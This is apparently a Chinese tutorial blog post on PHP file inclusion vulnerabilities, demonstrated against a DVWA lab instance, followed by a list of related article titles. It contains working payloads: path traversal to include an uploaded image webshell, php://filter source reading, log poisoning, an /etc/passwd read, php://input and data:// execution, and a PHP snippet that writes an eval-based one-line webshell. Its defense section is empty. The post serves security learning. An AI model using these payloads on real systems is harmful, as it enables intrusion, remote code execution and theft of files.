1. 文件包含:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,例如 include “conn.php”。php常见的文件包含函数:

 include "conn.php": 当包含文件出现错误时,发出错误信息,继续执行include_once "conn.php":只包含一次require "conn.php": 当包含出现错误时,发出错误信息,不再执行require_once "conn.php":只包含一次

2. 漏洞出现的原因:
为了控制代码的灵活,程序要把要使用的函数写到一个文件中,其他需要其中的的函数执行,只需要通过该文件名包含进来,而且没有进行验证。
3.文件包含漏洞的分类
1)本地的文件包含漏洞:
a. 上传图片马,本地包含图片马getshell,使用下面包含路径包含图片马,菜刀连接下门面路径(做了没成功)
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=…/…/hackable/uploads/mm.jpg
b. 本地包含读取网站源码,使用php为协议包含读取网站源码,获得base64加密源码
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php
c. 包含日志文件, getshell
现在日志文件中写入带有小马的日志文件,具体做法是使用burp抓取对网站的访问请求,在访问路径就面加上小马,日志文件会记录到用户的请求信息,成功写入小马,后面只需菜刀连接即可:

d.包含session文件getshell
e. 获取服务器信息:././././././././././././ect/passwd
2)远程文件包含漏洞
远程文件包含与本地类似,只不过包含的是远程文件,需要注意:
a. php.ini中的配置选项allow_url_fopen和allow_url_include 的值为on
b. 包含的远程文件不能以php结尾,php结尾会直接被解析
c. 包含远程文件一个技巧,可以在远程文件中写入一个创建小马的程序,当成功包含后,会在本地创建一个小马文件,使用菜刀连接,即可getshell:

<?php
fputs(fopen('xx.php','w'),'<?php @eval($_REQUEST["crazy"])?>');
?>

4. 伪协议的利
1)读取网站源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
2)接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include

     index.php?php://input


3)?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_open 和 allow_url_include

5. 防御方法:

6. 思维导图


文件包含漏洞(详解)相关推荐

  1. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  2. 89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...

  3. php本地文件包含漏洞,本地文件包含漏洞详解---LFI

    1 概述 文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含.比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时 ...

  4. php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...

    首先要明确\00截断与%00截断的关系:00截断就是将上传文件的文件名或路径名中使用ascii码值为0的字符进行截断来达到突破上传限制的目的,而%00一般用在URL中用于截断url来进行文件包含.两者 ...

  5. 本地文件包含漏洞详解

    0x00:漏洞定义 在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露.恶意代码的注入等. 文件包含分为两种,一种为本地文件包含,一种为 ...

  6. 第31天:WEB漏洞~文件操作之文件包含漏洞全解

    目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...

  7. Apache与文件解析漏洞详解

    1. Apache介绍与服务搭建 1.1. apache介绍 Apache跨平台的纯粹的web服务器,负责接收处理/响应http请求,之所以说它是纯粹的web服务器,是因为apache对于html页面 ...

  8. 文件包含漏洞—allow_url_fopen和allow_url_include详解

    文件包含漏洞_allow_url_fopen和allow_url_include详解 提要:在文件包含漏洞中,PHP脚本环境中php.ini文件中通常会涉及到这两个参数,两个参数的开启或关闭影响文件包 ...

  9. 文件包含漏洞全面详解

    文件包含漏洞总结 一.什么是文件包含漏洞 二.本地文件包含漏洞(LFI) 三.LFI漏洞利用技巧 1.配合文件上传使用 2.包含Apache日志文件 3.包含SESSION文件 4.包含临时文件 四. ...

  10. 文件包含与命令执行漏洞详解

    代码注入 远程文件包含漏洞 文件包含 了解什么是本地文件包含漏洞 了解本地文件包含漏洞所要用到的函数 掌握本地文件包含漏洞的利用方式 了解 PHP 语言中的封装协议 掌握本地文件包含漏洞的修复方法 什 ...

最新文章

  1. C语言判断数组中是否存在该数
  2. 热议:这样的开源项目,你会支持吗?
  3. android唤醒屏幕并解锁
  4. android问题记录
  5. Mips TLB miss实现in Linux
  6. mysql数据库添加索引和去重
  7. 网络逻辑结构设计的内容不包括( )。【最全!最详细解析!】
  8. 自包含 .NET Core应用程序
  9. MSSQL 2005 分页分析及优化
  10. Spark源码分析之DiskBlockMangaer分析
  11. 团队-手机备忘录-需求分析
  12. linux mysql多实例启动_Mysql实例Linux下启动多个mysql服务器例子
  13. 邀请您加入移动开发专家联盟
  14. web 摄像头拍照并上传
  15. windows中配置ant环境变量
  16. php文件里搜索关键字,在PHP搜索脚本中突出显示关键字
  17. 从SVN上拉取代码到本地进行开发
  18. CCF优秀博士学位论文奖初评名单出炉!清华入选4人,数量第一
  19. 花瓣网 html,css+html如何仿花瓣网实现静态登陆页面?(代码实
  20. 泛微OA流程附件在服务器磁盘中的位置

热门文章

  1. Linux下ODBC安装配置
  2. 富士变频器专用软件,loader软件。可用于富士在售变频器所有机型
  3. 图像识别经典论文汇总(按年份排,并附论文和模型链接)
  4. scrapy爬虫演示---爬取中国新闻网
  5. Python学习笔记之洗牌顺牌
  6. 上海往事之带娃游泳有惊无险
  7. 传感器分类-小白笔记
  8. Python爬虫——解析插件JsonPath安装及使用
  9. 三起两落:汽车充电基础设施,未来能成功逆袭吗?
  10. ASA-HA-FO-A/S